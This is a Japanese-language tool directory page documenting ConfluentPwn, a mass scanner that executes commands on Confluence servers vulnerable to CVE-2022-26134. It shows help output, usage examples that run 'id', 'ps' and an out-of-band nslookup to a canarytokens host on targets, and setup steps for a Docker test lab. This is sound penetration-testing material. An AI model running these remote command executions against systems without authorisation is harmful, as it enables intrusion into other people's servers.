Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ConfluentPwn — Atlassian Confluence 認証不要の ONGL インジェクションによるリモートコード実行スキャナー (CVE-2022-26134). | Kitploit
ツール/GitHubGitHub/redhuntlabs/confluentpwn
偵察脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubredhuntlabs/confluentpwn

ConfluentPwn

Atlassian Confluence 認証不要の ONGL インジェクションによるリモートコード実行スキャナー (CVE-2022-26134).

リポジトリを見る
1231年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ConfluentPwn

Confluence事前認証ONGLインジェクションリモートコード実行スキャナー (CVE-2022-26134)。

使用方法

以下のGIFはツールのデモ使用例を示しています:

tooldemo

以下がツールのヘルプ出力です:

root@kitploit:~
$ ./cfscan -h

  +-------------------------------+
  |    C O N F L U E N T P W N    |
  +-------------------------------+

[+] ConfluentPwn by RedHunt Labs - モダンな攻撃表面(ASM)管理企業
[+] Author: Pinaki Mondal (RHL Research Team)
[+] 攻撃表面を継続的に追跡するには、https://redhuntlabs.com/nvadr をご利用ください。

使用法:
  -cmd string
        脆弱なConfluenceサーバー上で実行するコマンド (デフォルト "id")
  -file string
        スキャンするホスト一覧を含むファイルを指定する。
  -output string
        スキャン結果を書き込む出力ファイルパス (デフォルト "cfpwn-results.csv")
  -regex string
        実行されたコマンドのレスポンスヘッダーと一致させる正規表現。
  -threads int
        スキャン中に使用するスレッド数 (デフォルト 20)
  -timeout int
        HTTPタイムアウト(秒) (デフォルト 5)
  -user-agent string
        使用するカスタムUser-Agent文字列 (デフォルト "Mozilla/5.0 (ConfluentPwn) Chrome/95.0.4638.69 Safari/537.36")

使用例:
  ./cfscan 1.2.3.4:80 1.1.1.1:8080
  ./cfscan -file urls.txt
  ./cfscan -cmd 'nslookup xxxxxxxxxxxxxxxxx.canarytokens.com 1.1.1.1:80'
  ./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443

ターゲットの指定

ターゲットは2つの方法で指定できます:

  • コマンドラインで直接URLを指定する。
    root@kitploit:~
    ./cfscan target1 target2 ...
    
  • -file 引数を使用してスキャンするURL一覧を含むファイルを指定する。
    root@kitploit:~
    ./cfscan -file targets.txt
    

並行処理、タイムアウト、ユーザーエージェント

同時に処理されるターゲットの最大数は -threads 引数で制御できます。デフォルトの並行処理数は20です。

HTTPタイムアウト値(秒)は -timeout 引数で指定できます。デフォルトのタイムアウトは5秒です。

カスタムUser-Agentは -user-agent フラグで指定できます。ユーザーが自分のログでUA文字列を追跡したい場合などに使用します。

出力

生成された出力はCSVファイルに書き込まれ、その保存先は -output フラグで指定できます。デフォルトの出力ファイルは cfscan-results.csv です。

出力には4つのカラムが含まれます:

  • ターゲット
  • Confluenceバージョン
  • 脆弱性ステータス
  • コマンド出力

コマンド指定とマッチング

脆弱なサーバーで実行するコマンドは -cmd 引数で指定できます。コマンドの出力と一致させる正規表現は -regex フラグで指定できます。

デフォルトで実行されるコマンドは id であり、コマンドの出力と一致させるために使用される正規表現は uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\) です。

フラグを組み合わせて使用する例:

root@kitploit:~
./cfscan -cmd 'id' -regex 'uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\)' https://1.1.1.1
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443

テスト環境のセットアップ

ツールや脆弱性全般をテストしたい場合は、こちらを参照してください: https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134。

インストール手順は非常に簡単で、以下のコマンドで完了します:

root@kitploit:~
$ mkdir confluentpwn && cd confluentpwn && wget https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml
$ docker-compose up -d

これでアプリは http://localhost:8090 で利用可能になります。

ライセンスとバージョン

このツールはMITライセンスの下でライセンスされています。LICENSEを参照してください。 現在のツールのバージョンはv0.1です。

クレジット

RedHunt Labs の研究チームは、Dockerテストイメージを提供してくれた vulhub に感謝します。

攻撃表面管理プラットフォームの詳細については、NVADRをご覧ください。
ツールをダウンロード